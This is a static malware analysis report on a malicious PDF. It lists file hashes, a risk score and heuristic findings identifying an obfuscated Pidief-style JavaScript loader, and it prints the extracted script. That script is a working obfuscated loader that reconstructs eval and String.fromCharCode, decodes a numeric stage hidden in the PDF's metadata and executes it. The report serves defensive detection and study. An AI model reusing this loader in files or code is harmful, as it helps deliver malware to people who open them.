Malicious PDF — malware analysis report

Static analysis result for SHA-256 f822b94a7dbce420…

MALICIOUS

PDF

44.7 KB Authoring application: substr First seen: 2026-05-08
MD5: 82e299483316952def28419dd7c46fbc SHA-1: 46c329db69832e75b113a8cfd52bb0bbdaa94e07 SHA-256: f822b94a7dbce4208586df55722d97e246c4c1077a8a9ed558ec79f530a96c7d
86 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xAFF4 506 bytes
SHA-256: 5e9defcbcc31aa60eb5b62e5c2e4ee2824b1f2a0f2c9ed520b8b0ddba072585f
Preview script
First 1,000 lines of the extracted script
s2='';
v=producer;
t='le';
b='v';
c='';
a=c.concat('e','|','a',"n","b","w",b,"o");
s=author+'v'+a[2]+t[0];
e=v[v]()[s];
wbzid=e(v[4]+'i'.concat(v[4],t));
q=wbzid[v](a['leng'+'t'+''+'h']-7,9);
d='String';
d+='.f'+'r';
d+='o'+q;
qulpw=e(e('d'));
sub=v[0];
sub+='ubject';
q=wbzid[e('v')](t.length+12)[v[0]+e(sub)+'t']('c');
k=q[t[0]+'eng'+'t'+''+'h'];
i=t[t[0]+'eng'+'t'+''+'h']-2;
for(;i!==k;){
	kxqmk = 1*(q[i]);
	i++;
	kxqmk -= (-1)*(q[i]);
	s2 += qulpw(kxqmk);
	i++;
}
e(s2);

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